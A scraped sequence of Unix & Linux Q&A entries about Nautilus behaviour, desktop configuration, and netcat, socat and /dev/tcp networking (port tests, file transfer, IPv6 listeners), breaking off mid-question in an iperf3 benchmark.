By real name, you mean the LABEL. This can be viewed with lsblk -f or ls -l /dev/disk/by-label or sudo blkid -o list
How to find out the real name of mountable devices?
1,622,066,770,000
What options exist for the .hidden file? I wanted to hide certain filetypes in a folder, but simply putting *.out, which I assumed would hide all files ending in .out, didn't work. :( I'm using Nautilus. UPDATE: I guess if this option doesn't exist, a bash shell could be created that, when executed in a directory, finds all files with matching endings and writes them to the .hidden file. I don't have any experience with the command-line but I'll try this :).
New answer: It seems you meant something other than I thought you did. You create a literal .hidden file listing all the files you want the Nautilus file manager to hide by default you can use this command (from @Jóhann 's answer): for i in *.out; do echo "$i"; done > .hidden Replacing .out with the file extension you wish to hide. Old answer: If all the files in question share the same extension, and no other files do, then a simple shell command will do the trick. For example, for *.out files: for i in ./*.out; do mv "$i" ./."${i#./}"; done This command will move all files in the current directory matching *.out to .<name>.out
Options for .hidden files?
1,622,066,770,000
So I installed VBoxLinuxGuestAdditions(part of Oracle VirtualBox) to support a better resolution and other reasons, but came across a big annoying problem. I remember that before installing this, when I use my right mouse button there was a option "open this in terminal" or something similar. But now, it only says this: My entire desktop is messed up. I have no icons, but in my nautilus ~/Bureaublad (Dutch name for desktop) the files DO appear. P.S. I have Kali Linux Rolling, and I use gnome. Edit: I have used gnome-tweaks but of no help. I don't see a tab named "Desktop". I also have tried to use dconf but also of no help. And I have tried to fix it using gsettings: also of no help.
I have found out that the version of gnome that I'm running doesn't support desktop icons anymore. It is not possible.
Kali Linux: Desktop messed up after installing VBoxGuestAdditions
1,622,066,770,000
I installed Debian Stretch on two Laptops. One has UEFI, while the other has BIOS - this is the only difference regarding the Debian installation process (I used graphical install). After the install BIOS PC already has some basic file structure set up in Nautilus: While other hasn't got the basic folder structure inside home folder. Also emblems on folders are missing in Nautilus: Has anyone got an idea why this could happen?
To create the default user directories you can use the following command : xdg-user-dirs-update The list of the directories that were created by the command xdg-user-dirs-update can also be read with: cat ~/.config/user-dirs.dirs There is a description how the xdg-user-dirs work. xdg-user-dirs is a tool to help manage "well known" user directories like the desktop folder and the music folder. It also handles localization (i.e. translation) of the filenames. The way it works is that xdg-user-dirs-update is run very early in the login phase. This program reads a configuration file, and a set of default directories. It then creates localized versions of these directories in the users home directory and sets up a config file in $(XDG_CONFIG_HOME)/user-dirs.dirs (XDG_CONFIG_HOME defaults to ~/.config) that applications can read to find these directories.
Debian - after install folder structure in /home/user differs across PCs
1,622,066,770,000
TL;DR Exec=gnome-terminal -- bash -c 'script="%u";if [[ -e "$script" ]] ; then "$script" ; else exec bash ; fi' line in GNOME desktop file runs scrips, but only w/out spaces in the name. How to run script with any name? Full description of "what I want" and what I've tried: I want to open scripts in editor by default from Nemo (file manager AFAIK based on Nautilus) but still be able to open in terminal as another option in Nemo to open these files with. Web search finds https://askubuntu.com/questions/286621/how-do-i-run-executable-scripts-in-nautilus. Not new for me, but when I set option in file manager to "view", there is no option to run in "open with", I have to open terminal separately and enter script name. I've opened /usr/share/applications/org.gnome.Terminal.desktop, it runs Exec=gnome-terminal --window. I've found https://askubuntu.com/questions/974756/how-can-i-open-a-extra-console-and-run-a-program-in-it-with-one-command and changed line Exec=gnome-terminal --window with sample line Exec=gnome-terminal -- bash -c 'script="%u";if [[ -e "$script" ]] ; then "$script" ; else exec bash ; fi', it works for scripts w/out spaces in names, but with scripts that contain spaces it does not result in expected script output. No big deal maybe, but I want better. Meaning of e.g. %u confirmed here: https://specifications.freedesktop.org/desktop-entry-spec/desktop-entry-spec-1.0.html.
The freedesktop page you linked clearly says Field codes must not be used inside a quoted argument, the result of field code expansion inside a quoted argument is undefined. I would pass the URL as an argument to bash: gnome-terminal -- bash -c 'script="$1"; if [[ -e "$script" ]] ; then "$script" ; else exec bash ; fi' bash %u
How to run scripts named with spaces via "open with" list of applications in Nemo for Linux Mint?
1,622,066,770,000
I wanted to check the current directory opened in nautilus window. I check the pid of nautilus, and symbolic link proc/pid/cwd, always points to home directory. Is this expected behaviour? If so thenhow to check the opened directory of nautilus from command line?
Nautilus can open multiple windows from the same process, but a process has a single current directory, so Nautilus can't change its directory based on what it's displaying in its windows. I can't think of a good reason for Nautilus to change its current directory anyway. What would be the point? When Nautilus needs to access a file in a directory, it can just construct the absolute path. What problem are you actually trying to solve?
Why cwd in /proc/nautilus_pid/cwd always points to /home/username?
1,622,066,770,000
I'm trying to hook some system calls using linux kernel module on Ubuntu 14.04 Desktop version. However, when I hooked write(unsigned int fd, const char __user *buf, size_t count) and turned fd into filename, I found that when I copy /home/user/1.txt and paste to /home/user/folder/ in nautilus, no write was called in this folder. However, if I use cp /home/user/1.txt /home/user/folder, I can notice write is called and the filename is exactly /home/user/folder/1.txt. I've tried hook pwrite also but still no detection of calling it when paste file using nautilus. So, how does nautilus copy file and paste to specific folder when no write system call is called on destination?
Looks like Nautilus uses different approach for optimization purposes. Say I have a test file /ntest/testfile with 45 bytes inside: Lorem ipsum dolor sit amet Leroooy Jeeenkins I want to move it into directory /ntest2. To trace what exactly Nautilus does, I can launch it like this (actually, I did multiple launches with less strict limitations, but this is a good start): strace -f -P '/ntest/testfile' -P '/ntest2/testfile' -qq nautilus Essentially, the following excerpt explains what happens (note that pipe2() call is not captured by the command above - I inserted it based on other tracing sessions): openat(AT_FDCWD, "/ntest/testfile", O_RDONLY) = 35 openat(AT_FDCWD, "/ntest2/testfile", O_WRONLY|O_CREAT|O_EXCL, 0644) = 36 pipe2([37, 38], O_CLOEXEC) = 0 stat("/ntest2/testfile", {st_mode=S_IFREG|0644, st_size=0, ...}) = 0 splice(35, [0], 38, NULL, 1048576, SPLICE_F_MORE) = 45 splice(37, NULL, 36, [0], 45, SPLICE_F_MORE) = 45 close(35) = 0 close(36) = 0 Nautilus uses splice(2) which allows transferring some data between fds without copying it between kernel and user spaces. Because man 2 splice requires one of ends to be a pipe, Nautilus creates a pipe with input file descriptor 38 and output file descriptor 37. After opening source and destination files and creating the pipe, Nautilus uses splice() to read data from source file to the pipe's input; then the second splice() is used to write data from this pipe to the output file. This approach does not involve kernel-to-user and user-to-kernel data transitions as it would be with ordinary read()-write() approach. Note, that this behavior is not specific to Nautilus, but rather to the library it uses (glib). It looks like this is the splice() call we observe, as Nautilus uses glib's g_file_copy() which, in turn, calls file_copy_fallback() -> splice_stream_with_progress() -> do_splice().
nautilus not call write system call when paste file
1,524,833,802,000
In my Arch Linux installation with Gnome 3.28, I recently noticed that I can enter with Nautilus in the private directory /root and see the files inside while Nautilus is started without root rights. In addition I can create directories everywhere in the filesystem as a non-root user when I start nautilus like this : $ nautilus admin:/// How is it possible while Nautilus do not have the root rights ? For the moment, it's a very strange security hole for me...
My problem was caused by an insecure configuration of the sudo system. When I installed my Arch Linux system and to have the hability to execute commands without the root account, I added directly my username in the sudoers file like this : martin ALL=(ALL) ALL It worked very well with sudo but not at all with polkit. With this configuration, when I just typed pkexec in my shell, it opened a root shell without asking me for any password. But when Nautilus tries to access the /root directory, he execute the pkexec command. So that I could go in this directory without any password with my normal user account. To correct the problem, I put my user in the wheel group and uncomment this line in the sudoers file # %wheel ALL=(ALL) ALL In conclusion, it's not a security breech in Nautilus but an insecure configuration I made...I'm sorry.
Big security problem in Nautilus 3.28.1
1,524,833,802,000
Older versions of nautilus (such as on Red Hat 5 / RHEL 5) don't have the option "Always use browser" under edit->preferences->behavior. That option isn't added to the gui-based preferences menu until later. This leaves you stuck only launching visual mode windows by double-clicking. This is annoying when you want to open the browser window but forget to do the extra step of right clicking and selecting "Browse Folder". How can you configure nautilus to launch browser mode on double click if the "Always use browser" option isn't appearing?
This option is not available through the GUI on the nautilus version that ships with RHEL 5 but can still be set using the command line. You'll need to use gconftool-2 which is available on RHEL 5. This is the command: gconftool-2 --type bool --set /apps/nautilus/preferences/always_use_browser true
How to launch browser mode by default in older versions of Nautilus
1,524,833,802,000
As I understand bash is a program like python interactive shell, which receives command(or commands) by input stream, executes them by calling Linux API functions, and give execution result to output stream. Terminal is also a program that provides us some features like command history and highlighting, internally it uses shell(bash). But does applications(like Nautilus) uses /bin/bash or they communicate with linux using it's API?
Yes, programs may well use the shell, either explicitly or implicitly. See e.g. Stéphane's answer to an unrelated question. Their answer says, for example, that if the program uses the C library functions execlp() or execvp() to run a command, upon execve() returning ENOEXEC it will typically invoke sh on it ("it" being a shell script without an explicit interpreter specified, which is the context for that question). sh is a shell. An application that uses system() to execute a utility will also typically invoke a shell. I can't say anything specifically about Nautilus, but if it allows you to execute scripts of any kind, it most likely uses a shell for doing so. The rest of the application will probably use libraries for the GUI elements and other libraries for events, filesystem operations etc. These libraries are most likely written in C or a similar language and uses the C library, some of which interfaces with the operating system kernel for some operations. I highly doubt that the file manager itself is written in any sort of shell scripting language though, although it may well use shell scripts for startup or other operations.
Do programs like Nautilus uses shell?
1,524,833,802,000
Nautilus 3.26 does not show icons normally, but before I upgraded to nautilus 3.26, in nautilus 3.24 icons are shown normally without any problem. Nautilus 3.26 shows icons like the following picture. How can I fix it ? https://i.sstatic.net/1lUn5.png
Downgrade pango library used for text rendering. This solved my problem. sudo dnf downgrade pango-1.40.12-1.fc27.x86_64 pango-1.40.12-1.fc27.i686
Fedora Nautilus 3.26 Icon Alignment Problem or Bug: Icons are misaligned
1,524,833,802,000
I have problem with my Ubuntu 16.04 Xenial Xerus. The problem started after I changed operating systems from Windows to Ubuntu. I have one disk with my personal documents. After changing to Ubuntu, I always see an eject. So how can I remove the eject icon without formatting the disk? I want to remove the eject icon named "J". File System Type : NTFS
That is supposed to be there. Disks on Linux (and Windows, but never mind) are mounted at a specific location. That button would let you unmount this disk. There's nothing wrong with it, and it can be useful. If you don't want it, just ignore it, but there is no reason to remove it.
How can I remove the eject icon without formatting? [closed]
1,524,833,802,000
I am trying to add a right click menu to odrive, using nautilus-actions and the sync agent. However, after setting the script up with the path "$HOME/.odrive-agent/bin/odrive" and parameters sync "%f" (Like shown in the documentation). This does not work, and setting it to show output gives me "$HOME/.odrive-agent/bin/odrive" sync "\"/home/username/odrive-agent-mount/Dropbox/Documents.cloudf"\"" The proper command is supposed to be "$HOME/.odrive-agent/bin/odrive" sync "$HOME/odrive-agent-mount/Dropbox/Documents.cloudf" How do I make it so that the \ is removed from within nautilus-actions
When using %f, don't add double quotes around it. Doing so will prompt the application to escape the double quotes in the string (that's where the backslashes comes from).
Nautilus-Actions Is Adding Backslash
1,524,833,802,000
When browsing to trash:/// in Nautilus, I see a long list of files and directories that I recognize and remember placing in the trash. However, attempting to delete them from Nautilus either results in a Preparing message indefinitely, or an error message Error while deleting. You do not have sufficient permissions to delete the file "_____". I've already emptied ~/.local/share/Trash/files as my regular user, and that directory does not exist as the root user. I've downloaded the trash tool from the AUR to confirm my findings: running trash -l or trash -e as my regular user and root both confirm that the trash can is empty. I can clearly see that it is not empty though. I'm able to browse through the directories using nautilus and open these files. How can I locate these files in order to permanently delete them?
This problem was actually being caused by having a .Trash-1000 folder on the external drive itself, with all the contents I was seeing in Nautilus within it. In order to delete these files, I had to remount that drive as writable: sudo mount -o remount,rw /partition/identifier /mount/point After this point, I was able to rm -rf .Trash-1000/ on the drive, and the files were no longer visible as part of the Trash within Nautilus.
Nautilus shows files in Trash, can't be located on cli
1,524,833,802,000
I am looking for a file explorator that have customizable move, copy and remove functions. Which strategy would you recommand? Is there any file explorer with customizable commands or should I modify the source code of an existing one (nautilus typically)? The custom commands should be GUI based: not interested in having a terminal in parallel to the file explorer for instance.
Thunar allows you to add custom actions to the right click menu. From the menu bar, select "Edit > Custom Actions". Then you can set a name and the command for your action. In the command field %f will be substituted for the path of the selected file. More instructions and examples can be found here: http://docs.xfce.org/xfce/thunar/custom-actions Unfortunately, I don't think it works with removable media in the sidebar. Only files.
File explorator with custom removal and copy functions
1,524,833,802,000
How do I set the default folder order in Gnome? I'm talking about setting 'type order' as default so the folders will always be listed at the top, and other files after them. Here is the image: You see that everything is listed by the type, and I want this to be the default order so when I reboot, it won't reset.
you will be able to achieve this by opening nautilus preferences as follow: open a nautilus window > click on "files" from top menu > preferences (as showed here) And then from there setup the Default view. Specifically Arrange items: by type
Default Folder Order in Gnome
1,524,833,802,000
Please don't mark it as duplicated before reading my question. I know that there already are those questions, but the existing answer did not work as expected, and that is why I am asking this question. Existing answers say that the way to set the default file manager is xdg-mime default <app name> inode/directory, and the way to locate a file with the default file manager is dbus-send --session --print-reply --dest=org.freedesktop.FileManager1 --type=method_call /org/freedesktop/FileManager1 org.freedesktop.FileManager1.ShowItems array:string:"<path>" string:"". But when I tested this on a few Arch-based distributions including Arch with Gnome, the dbus-send command did not always open the file manager that the xdg-mime query default indicates, after installing Nemo file manager (Gnome's default file manager is Gnome Files). Whilst xdg-mime query default inode/directory outputs nemo.desktop, the dbus-send... command above opened Gnome Files, and when the former outputs "org.gnome.Nautilus.desktop", the latter opened Nemo. (This is when there is no running file manager. If there already is an instance of a file manager, dbus-send command seem to use that file manager.) Is the dbus-send command above is the right command to "locate a file with the default file manager"? Whilst the dbus-send above command did not work as expected, JetBrain's IDE's like Android Studio or IntellJ correctly located the file with the default file manager, when I right-clicked a file, and then click "Open in", and then the file manager's name. I thought of looking into their source code, but those are huge applications and trying to search their source code returned no result (I used keywords like "open in" or "file manager").
Those two configurations have nothing to do with each other, as the system doesn't really have a unified concept of "default file manager". xdg-mime only changes MIME type associations but has absolutely no effect on what service gets activated when a program attempts to talk to org.freedesktop.FileManager1 via D-Bus. (It's a bit like how .html files and http:// URLs can be associated with different programs.) For legacy reasons, dbus-daemon allows multiple .service files to claim that they provide the same service name. (This only matters when activating a service that's not yet running; activation isn't used if the name is already claimed by an already running process.) The first step might be to figure out which D-Bus .service files provide the name: $ grep -rl Name=org.freedesktop.FileManager1 /usr/share/dbus-1/services /usr/share/dbus-1/services/org.kde.dolphin.FileManager1.service /usr/share/dbus-1/services/org.xfce.Thunar.FileManager1.service /usr/share/dbus-1/services/org.freedesktop.FileManager1.service (Don't mind that the file names do not match the service name they apparently provide.) Then override the unwanted services via ~/.local/share/dbus-1: $ mkdir -p ~/.local/share/dbus-1/services $ ln -s /dev/null ~/.local/share/dbus-1/services/org.xfce.Thunar.FileManager1.service $ ln -s /dev/null ~/.local/share/dbus-1/services/org.kde.dolphin.FileManager1.service The one named org.freedesktop.FileManager1.service actually happens to be Nautilus, so it can stay: $ cat org.freedesktop.FileManager1.service [D-BUS Service] Name=org.freedesktop.FileManager1 Exec=/usr/bin/nautilus --gapplication-service Verify whether it works: $ urlencode() { echo -n "$1" | perl -pe's/[^\/A-Za-z0-9_.!~,=-]/sprintf"%%%02X",ord$&/gse' } $ uri="file://$(urlencode "$path")" $ gdbus call -e -d org.freedesktop.FileManager1 \ -o /org/freedesktop/FileManager1 \ -m org.freedesktop.FileManager1.ShowItems \ "['$uri']" \ "''"
Setting default file manager and locating a file with the default file manager
1,524,833,802,000
Problem: After upgrading one of my VMs from Ubuntu 16.04 to Ubuntu 18.04, I'm having various GUI problems on VNC server. Note: I was able to upgrade another VM, which is a 1 year old clone of this very same machine, without any issues. ubuntu-mono-dark icons don't work. Pixbuff loaders cache fails with the error: g_module_open() failed for /usr/lib/x86_64-linux-gnu/gdk-pixbuf-2.0/2.10.0/loaders/libpixbufloader-svg.so: /usr/lib/x86_64-linux-gnu/libxcb-shm.so.0: undefined symbol: xcb_send_request_with_fds Update: After a few days on this, I was finally able to fix this problem by running the following commands before upgrading: apt --reinstall install libxcb1 apt --reinstall install libxcb-shm0 apt --reinstall install libgdk-pixbuf2.0-0 apt -y install libgdk-pixbuf2.0-dev gdk-pixbuf-query-loaders --update-cache apt -y purge g++-5 dconf reset -f /org/gnome/ apt autoremove Nautilus takes forever to load and eventually timeouts with the error: gnome-session[11721]: gnome-session-binary[11721]: WARNING: Application 'nautilus-classic.desktop' failed to register before timeout gnome-session-binary[11721]: Unrecoverable failure in required component nautilus-classic.desktop gnome-session[11721]: gnome-session-binary[11721]: CRITICAL: We failed, but the fail whale is dead. Sorry.... metacity[11983]: CurrentTime used to choose focus window; focus window may not be correct. kernel: [236.762533] rfkill: input handler enabled When it does, some programs like terminal and MySQL Workbench mysteriously lose their title bar and their minimize, maximize and close buttons. These programs also start opening on the top left corner of the screen. It also becomes impossible to move the windows of some of these affected programs like MySQL Workbench. Before Nautilus Timeout After Nautilus Timeout What I Tried: Full reinstall of gnome, metacity, nautilus and vncserver with: apt -y purge ubuntu-desktop ubuntu-gnome-desktop gnome-core gnome-panel gnome-terminal gnome-settings-daemon metacity nautilus autocutsel vnc4server apt autoremove apt -y purge *desktop* *gnome* *metacity* *nautilus* apt autoremove rm -vr .cache/tracker .config/nautilus .config/gnome-session .config/gtk* .gconf .gvfs .vnc .Xauthority reboot apt -y install ubuntu-desktop ubuntu-gnome-desktop gnome-core gnome-panel gnome-terminal gnome-settings-daemon metacity nautilus autocutsel vnc4server I did a lot of other small things, including reinstall the snap packages and changing the VNC Server configuration, but none of them had any effect. VNC Server Configuration: #!/bin/bash unset DBUS_SESSION_BUS_ADDRESS xsetroot -solid grey vncconfig -nowin & autocutsel -fork export XKL_XMODMAP_DISABLE=1 export XDG_CURRENT_DESKTOP="GNOME-Flashback:GNOME" export XDG_MENU_PREFIX="gnome-flashback-" gnome-session --session=gnome-flashback-metacity --disable-acceleration-check & Suggestions?
God, while I was writing and posting this, and waiting for the machine to upgrade for the n-th time, the problem with the missing title bars disapeared all of a sudden... Though it still happens whenever I reboot the system and start a new instance of vncserver. It seems I have to kill vncserver and restart it once before it starts working properly. Nautilus doesn't timeout after that. Update: The missing title bars thingy started happening again recently. I conjectured that the problem to a certain extent might be related with the VNC Server starting too early after a system startup. I created a .timer with a delay of 5 minutes after boot for the systemd service that starts the VNC Server. Haven't had any problems since.
Problems with icons, themes, nautilus on VNCServer after upgrade from Ubuntu 16.04 to 18.04
1,524,833,802,000
I am currently working with the KDE Plasma window manager and switched my default file manager to nautilus. Functionally everything works, but aesthetically it looks not very pleasing. Is it possible to make nautilus use KDE Plasma's default color scheme?
Use same colour scheme for both, as in Arch Linux based distros, there is kde-gtk-config (anything that provides /usr/share/kcm-gtk-module/, I guess. It adds GTK Settings in System Sttings) see what your disro have. Say if you are using adwita scheme for KDE, set the same for gtk from System Settings. Apperence > Application Style > Configure GNOME/GTK Application Style. You can download new schemes under that option and set them. Read more in Arch Wiki
Make nautilus use default kde plasma color scheme
1,524,833,802,000
I recently used the nautilus file manager to open up remote folders hosted on my Linux VPS. Each time I want to access them, I need to manually connect to my server through GUI. I was wondering if there was a command that could directly open the remote folders in the Nautilus file manager using an identity key.
After doing more research, I realized that sftp and ssh used the same identity key. I generated a new key and added it to the ssh agent, refer to https://help.github.com/en/github/authenticating-to-github/generating-a-new-ssh-key-and-adding-it-to-the-ssh-agent for more information. I used nautilus sftp://user@host/path/ to solve the problem. Note that no : is needed between the host and path parameters.
What command can I run to open a remote folder in GUI using an identity key?
1,524,833,802,000
Nautilus terminal is installed but still doesn't show up in the context menu options to open sh files. I am trying to open an sh file but it does not give the option of opening with terminal from the context menu. How may I add open with terminal to context menu. bash-4.2$ sudo yum install nautilus-open-terminal [sudo] password for <user>: Loaded plugins: langpacks, ps, search-disabled-repos Package nautilus-open-terminal-0.20-3.el7.x86_64 already installed and latest version
One thing is the installed programs, quite another is the personal configuration your environment uses. You'll have to find out how to add it there. What desktop are you using?
RHEL: Nautilus terminal is installed but still doesn't show up in the context menu options to open sh files
1,524,833,802,000
in sometimes when I open a folder nautilus suddenly is stopped. (Freezes the folders and/or graphic interfaces) then I must restart the system for solve problem because nautilus not open. I try: killall -9 nautilus sudo apt-get remove nautilus && sudo apt-get install nautilus I've tried delete cache, but don't work. Restart gdm with service gdm restart and service gdm3 restart Close user sessions Edit: Also I've tried clicked in "New window", appears loading but the nautilus don't shown but when I opens the nautilus don't shown, only can see this: How could I solve it?. Thank you very much! PD: nautilus version is: GNOME nautilus 3.14.1
I've found the problem. the Megasync for linux, also I've tested the megasync (amd64 - version 2.9.10-25.1) in kali linux 2.0 2016.2 light and have the same problem What is the problem with megasync? Causes froozen folder of nautilus interfaces (In random times) Unistall megasync or kill process when have a problem sudo killall -9 megasync Greetings!
nautilus opens but not displayed (Debian Jessie)
1,524,833,802,000
Today, I upgraded from Gnome 3.18 to 3.20 and started experiencing some strange graphical issues when changing focus from one application to another, either by alt-tab or clicking the new window with the mouse. So far, I have only seen this issue with gnome-apps (those that have the gnome-specific headerbar, such as Nautilus and gedit), and not with other apps (such as gnome-terminal and Firefox). The specific graphical glitch varies a bit depending on which program is focused. I uploaded a video, documenting the behavior. It looks like the Nautilus and gEdit windows are trying to resize and switch to black, while the gnome tweak tool window actually resizes as it loses or gains focus. In contrast, the gnome calculator is not affected. I had disabled all extensions and removed my ~/.config/gtk-3.0/gtk.css, when recording the video. I am on Antergos (an Arch derivative), with kernel 4.5.0-1-ARCH. My machine is a ThinkPad Yoga 12 second edition laptop, with an Intel HD Graphics 5500 (Broadwell GT2) graphics card and the following graphic packages installed. xf86-video extra/xf86-video-fbdev 0.4.4-5 (xorg-drivers xorg) [installed] extra/xf86-video-intel 1:2.99.917+560+gd167280-1 (xorg-drivers xorg) [installed] extra/xf86-video-vesa 2.3.4-2 (xorg-drivers xorg) [installed] libva extra/libva 1.7.0-1 [installed] extra/libva-intel-driver 1.7.0-1 [installed] Mesa extra/glu 9.0.0-4 [installed] extra/libtxc_dxtn 1.0.1-6 [installed] extra/mesa 11.2.0-1 [installed] extra/mesa-libgl 11.2.0-1 [installed] extra/mesa-vdpau 11.2.0-1 [installed] multilib/lib32-glu 9.0.0-3 [installed] multilib/lib32-libtxc_dxtn 1.0.1-5 [installed] multilib/lib32-mesa 11.2.0-1 [installed] multilib/lib32-mesa-libgl 11.2.0-1 [installed] Any advice on what could be the cause of these glitches and how I can fix them? Update 2016-04-18 Apparently, in addition to disabling the usertheme addon, I needed to select Adwaita as the GTK+ theme in order to get the default gnome behavior. The issue goes away when doing this, so it seems to be a problem unique to the Numix Frost and Numix Frost Light themes, that Antergos use by default. So at least I can work around this by using another theme for now.
Turns out this is a bug in the Numix themes and it is being tracked here.
Gnome 3.20 graphical glitches when switching applications
1,373,493,602,000
I have a binary file that I can send with netcat: $ nc -l localhost 8181 < my.dat The file contains this: $ xxd my.dat 0000000: 0006 3030 3030 4e43 ..0000NC What I really want to do is send the hex string directly. I've tried this: $ echo '0006303030304e43' | nc -l localhost 8181 However, the above command just sends the ascii string directly to nc.
I used the -r and -p switches for xxd: $ echo '0006303030304e43' | xxd -r -p | nc -l localhost 8181 Thanks to inspiration from @Gilles' answer, here's a Perl version: $ echo '0006303030304e43' | perl -e 'print pack "H*", <STDIN>' | nc -l localhost 8181
convert a hex string to binary and send with netcat
1,373,493,602,000
So I can use this netcat command to check if a UDP port is open: $ nc -vz -u 10.1.0.100 53 Connection to 10.1.0.100 53 port [udp/domain] succeeded! Unlike TCP, UDP is connectionless (fire and forget). So at a high level does anyone know how netcat knows the UDP port is open? Does it ask for a reply or something like that?
Judging by the specific output Connection to Connection to 10.1.0.100 53 port [udp/domain] succeeded! you are using openbsd-netcat. Looking at the code for that the test is to bind to the UDP socket, i.e. there is an open connection: if (vflag || zflag) { /* For UDP, make sure we are connected. */ if (uflag) { if (udptest(s) == -1) { ret = 1; continue; } } /* Don't look up port if -n. */ if (nflag) sv = NULL; else { sv = getservbyport( ntohs(atoi(portlist[i])), uflag ? "udp" : "tcp"); } fprintf(stderr, "Connection to %s %s port [%s/%s] " "succeeded!\n", host, portlist[i], uflag ? "udp" : "tcp", sv ? sv->s_name : "*"); udptest issues around 3 writes to the open socket. There is a note that this doesn't work for IPv6 and fails after around 100 ports checked. So while the other suggestion may be valid, I don't think that's happening in this particular case.
How does netcat know if a UDP port is open?
1,373,493,602,000
I'm not sure about when to use nc, netcat or ncat. If one is the deprecated version of another? If one is only available on one distribution? If it is the same command but with different names? In fact I'm a bit confused. My question comes from wanting to do a network speed test between two CentOS 7 servers. I came across several examples using nc and dd but not many using netcat or ncat. Could someone clarify this for me please?
nc and netcat are two names for the same program (typically, one will be a symlink to the other). Though—for plenty of confusion—there are two different implementations of Netcat ("traditional" and "OpenBSD"), and they take different options and have different features. Ncat is the same idea, but from the Nmap project. There is also socat, which is a similar idea. There is also /dev/tcp, an (optional) Bash feature. However, if you're looking to do network speed tests then all of the above are the wrong answer. You're looking for iperf3 (site 1 or site 2 or code).
What are the differences between ncat, nc and netcat?
1,373,493,602,000
I'm trying to connect to port 25 with netcat from one virtual machine to another but It's telling me no route to host although i can ping. I do have my firewall default policy set to drop but I have an exception to accept traffic for port 25 on that specific subnet. I can connect from VM 3 TO VM 2 on port 25 with nc but not from VM 2 TO 3. Here's a preview of my firewall rules for VM2 Here's a preview of my firewall rules for VM 3 When I show the listening services I have *:25 which means it's listening for all ipv4 ip addresses and :::25 for ipv6 addresses. I don't understand where the error is and why is not working both firewall rules accept traffic on port 25 so it's supposed to be connecting. I tried comparing the differences between both to see why I can connect from vm3 to vm2 but the configuration is all the same. Any suggestions on what could be the problem? Update stopping the iptable service resolves the issue but I still need those rules to be present.
Your no route to host while the machine is ping-able is the sign of a firewall that denies you access politely (i.e. with an ICMP message rather than just DROP-ping). See your REJECT lines? They match the description (REJECT with ICMP xxx). The problem is that those seemingly (#) catch-all REJECT lines are in the middle of your rules, therefore the following rules won't be executed at all. (#) Difficult to say if those are actual catch-all lines, the output of iptables -nvL would be preferable. Put those REJECT rules at the end and everything should work as expected.
No route to host with nc but can ping
1,373,493,602,000
With a netcat listener like: nc -l <port> < ~/.bashrc I can grab my .bashrc on a new machine (doesn't have nc or LDAP) with: cat < /dev/tcp/<ip>/<port> > ~/.bashrc My question is: Is there a way to mimic the capabilities of nc -l <port> in my first line with /dev/tcp instead of nc? The machines I'm working on are extremely hardened lab/sandbox environment RHEL (no ssh, no nc, no LDAP, no yum, I can't install new software, and they are not connected to the internet)
If Perl is installed (as it will be on a RHEL machine): perl -MIO::Socket::INET -ne 'BEGIN{$l=IO::Socket::INET->new( LocalPort=>1234,Proto=>"tcp",Listen=>5,ReuseAddr=>1); $l=$l->accept}print $l $_' < ~/.bashrc would work, unless a local firewall doesn't allow incoming connections to 1234. If socat is installed: socat -u - tcp-listen:1234,reuseaddr < ~/.bashrc If zsh is installed: zmodload zsh/net/tcp ztcp -ld3 1234 && # start listening socket on fd 3 ztcp -ad4 3 && # accept connection on fd 4 ztcp -c 3 && # close the listening socket that is no longer needed cat < ~/.bashrc >&4 && # send the data ztcp -c 4 # close the communication socket to tell the other end we're finished
/dev/tcp listen instead of nc listen
1,373,493,602,000
I am using the newest version of netcat (v1.10-41.1) which does not seem to have an option for IPv6 addresses (as the -6 was in the older versions of nc). If I type in nc -lvnp 2222 and check listening ports with netstat -punta, the server appears to be listening on port 2222 for IPv4 addresses only: tcp 0 0 0.0.0.0:2222 0.0.0.0:* LISTEN 2839/nc tcp6 is not active like, for example, my apache2 server: tcp6 0 0 :::80 :::* LISTEN -
There are at least 3 or 4 different implementations of netcat as seen on Debian: netcat-traditional 1.10-41 the original which doesn't support IPv6: probably what you installed. netcat6 which was made to offer IPv6 (oldstable, superseded). netcat-openbsd 1.130-3 . Does support IPv6. ncat 7.70+dfsg1-3 probably a bit newer since not in Debian stable, provided by nmap, does support IPv6. I'd go for the openbsd one. Each version can have subtly different syntax, so take care. By the way: socat is a much better tool able to really do much more than netcat. You should try it!
Netcat - How to listen on a TCP port using IPv6 address?
1,373,493,602,000
I would like to use netcat to send a piece of text to the echo service on my server, get the reply then exit, so that I know the connection is still good. so far I've tried: echo 'test' | netcat server 7 this way netcat would wait for more input rather than exit. How can I make netcat exit after getting reply from the echo service?
Just tried - slightly different behaviour between netcat-openbsd and netcat-traditional ( ubuntu 16.4). The OpenBSD variant does what you expect, while with the netcat-traditional I need to add the -q 1 to avoid waiting for more input. echo 'test' | netcat -q 1 server 7
netcat: send text to echo service, read reply then exit
1,373,493,602,000
I'm trying to send commands to a tcp port using netcat and pipe response when I run netcat and type my command it prints response correctly but when I pass command from a pipe it sends the command correctly but doesn't print response So, this works correctly: netcat localhost 9009 while this just sends command but doesn't print response: echo 'my_command' | netcat localhost 9009 why? How can I make netcat to print response text ?
As @Patrick said, this problem is usually due to netcat exiting before the response has been given. You remedy that by adding -q 2 to the command line, i.e., tell netcat to hang around 2 seconds after detecting EOF on standard input. Obviously you can make it wait some other number of seconds as well.
netcat doesn't print response
1,373,493,602,000
The TL;DR version Watch this ASCII cast or this video - then come up with any reasons why this is happening. The text description that follows provides more context. Details of the setup Machine 1 is an Arch Linux laptop, on which ssh is spawned, connecting to an Armbian-running SBC (an Orange PI Zero). The SBC itself is connected via Ethernet to a DSL router, and has an IP of 192.168.1.150 The laptop is connected to the router over WiFi - using an official Raspberry PI WiFi dongle. There's also another laptop (Machine 2) connected via Ethernet to the DSL router. Benchmarking the link with iperf3 When benchmarked with iperf3, the link between the laptop and the SBC is less than the theoretical 56 MBits/sec - as expected, since this is a WiFi connection within a very "crowded 2.4GHz" (apartment building). More specifically: after running iperf3 -s on the SBC, the following commands are executed on the laptop: # iperf3 -c 192.168.1.150 Connecting to host 192.168.1.150, port 5201 [ 5] local 192.168.1.89 port 57954 connected to 192.168.1.150 port 5201 [ ID] Interval Transfer Bitrate Retr Cwnd [ 5] 0.00-1.00 sec 2.99 MBytes 25.1 Mbits/sec 0 112 KBytes ... - - - - - - - - - - - - - - - - - - - - - - - - - [ ID] Interval Transfer Bitrate Retr [ 5] 0.00-10.00 sec 28.0 MBytes 23.5 Mbits/sec 5 sender [ 5] 0.00-10.00 sec 27.8 MBytes 23.4 Mbits/sec receiver iperf Done. # iperf3 -c 192.168.1.150 -R Connecting to host 192.168.1.150, port 5201 Reverse mode, remote host 192.168.1.150 is sending [ 5] local 192.168.1.89 port 57960 connected to 